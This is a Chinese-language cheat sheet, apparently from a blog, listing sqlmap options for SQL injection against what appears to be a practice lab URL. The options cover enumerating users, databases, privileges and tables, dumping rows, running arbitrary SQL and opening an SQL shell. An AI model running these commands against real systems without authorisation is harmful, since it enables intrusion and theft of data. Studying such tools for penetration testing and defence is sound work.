sqlmap --update 更新

-u "http://inject2.[lab](https://so.csdn.net/so/search?q=lab&spm=1001.2101.3001.7020" \t "https://blog.csdn.net/phpppppppppp/article/details/_blank).aqlab.cn:81/Pass-01/index.php?id=1" # 指定URL，get请求方式

-r request.txt # Post提交方式，使用HTTP请求文件，该文件可从BurpSuit中导出。 （BurpSuit抓包-->将请求复制到txt中即可）

--level=

    2：检测cookie中是否含有注入

    3：检测user-agent、referer是否含有注入

5：检测host是否含有注入

--risk 默认1，最高4，等级高容易造成数据被篡改风险

--threads=7 #提高并发线程，默认为1，建议不要超过10，否则影响站点可用性，与--predict-out 不兼容

--users # 查询所有的数据库账号

--dbs # 查询所有数据库

--schema # 查询源数据库（包含定义数据的数据）

-a # 查询当前user、当前数据库、主机名、当前user是否是最大权限管理员、数据库账号等

-D dvwa# 指定数据库

--current-user # 查询当前数据库用户

--current-db # 查询当前数据库

--hostname # 查看服务器的主机名

--Privileges -U username # 查询username的权限

--roles 角色

--tables # 查看所有的表

-T # 指定表

--columns # 查看所有的字段

-C # 指定字段

--count # 计数，查看有多少条数据

--exclude-sysdbs # 排除系统库

--dump # 查看数据

--start 3 # 查看第三条

--end 4 # 查看第四条

--sql-query "select \* from users" # 执行语句

--common-columns # 暴力破解字段，应用于两种情况：①无权限读取数据。②mysql<5.0 ，没有 infomation\_schema库 22. --common-tables # 暴力破解表

--common-tables # 暴力破解表

--batch # 自动选是

--sql-shell # 进入交互式mysql窗口